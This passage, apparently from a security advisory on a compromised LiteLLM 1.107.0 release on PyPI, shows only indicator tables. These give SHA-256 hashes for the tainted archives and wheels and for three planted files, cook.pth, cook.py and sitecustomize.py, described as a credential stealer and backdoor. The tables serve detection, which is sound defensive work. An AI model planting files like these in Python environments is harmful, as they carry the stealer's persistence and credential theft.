class=\"table-wrap\"><table><thead><tr><th>File</th><th>SHA-256</th></tr></thead><tbody><tr><td><code>litellm-1.107.0.tar.gz</code></td><td><code>2befe2a79fb4fbbd9a543b5b40b530c8cffa8771bab22b8fb22b2e4ae3b1f819</code></td></tr><tr><td><code>litellm-1.107.0-cp310-abi3-manylinux_2_28_x86_64.whl</code></td><td><code>462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7</code></td></tr><tr><td><code>litellm-1.107.0-cp310-abi3-manylinux_2_28_aarch64.whl</code></td><td><code>668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6</code></td></tr><tr><td><code>litellm-1.107.0-cp310-abi3-musllinux_1_2_x86_64.whl</code></td><td><code>1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00</code></td></tr><tr><td><code>litellm-1.107.0-cp310-abi3-musllinux_1_2_aarch64.whl</code></td><td><code>c2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054</code></td></tr><tr><td><code>litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl</code></td><td><code>7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d</code></td></tr><tr><td><code>litellm-1.107.0-cp310-abi3-macosx_11_0_arm64.whl</code></td><td><code>0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a</code></td></tr><tr><td><code>litellm-1.107.0-cp310-abi3-win_amd64.whl</code></td><td><code>12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484</code></td></tr></tbody></table></div>\n<p>The planted files have different hashes on Windows because of the CRLF line endings:</p>\n<div class=\"table-wrap\"><table><thead><tr><th>File</th><th>Linux and macOS</th><th>Windows</th></tr></thead><tbody><tr><td><code>cook.pth</code></td><td><code>7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb</code></td><td><code>84dc8c82c0a4a4a62552ef826b49fcc86d1a5c4a5d0f2c06665723f93d129d7d</code></td></tr><tr><td><code>cook.py</code></td><td><code>9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be25</code></td><td><code>03ac2a8b752605d1d7710979c17ff18b03dd978203ba23ba97fd8ce3d6f897ea</code></td></tr><tr><td><code>sitecustomize.py</code></td><td><code>34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fa</code></td><td><code>b6122440d0d9cb1eb1ade9933f49214da8c31288de7710c076c2680dfa528465</code></td></tr></tbody></table></div>","headings":[{"level":1,"text":"Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor","id":"compromised-litellm-1-107-0-on-pypi-installs-a-credential-steale"},{"level":2,"text":"What the attack does","id":"what-the-attack-does"},{"level":2,"text":"How the implant got into the release","id":"how-the-implant-got-into-the-release"},{"level":3,"text":"The release does not match its tag","id":"the-release-does-not-match-its-tag"},{"level":3,"text":"How the wheels were built","id":"how-the-wheels-were-built"},{"level":2,"text":"Payload 1: the credential stealer in cook.py","id":"payload-1-the-credential-stealer-in-cook-py"},{"level":3,"text":"What it collects","id":"what-it-collects"},{"level":3,"text":"How it sends the data","id":"how-it-sends-the-data"},{"level":2,"text":"Payload 2: the backdoor in sitecustomize.py","id":"payload-2-the-backdoor-in-sitecustomize-py"},{"level":2,"text":"Timeline","id":"timeline"},{"level":2,"text":"Indicators of compromise","id":"indicators-of-compromise"},{"level":3,"text":"Network","id":"network"},{"level":3,"text":"Host","id":"host"},{"level":3,"text":"File hashes (SHA-256)","id":"file-hashes-sha-256"}]}}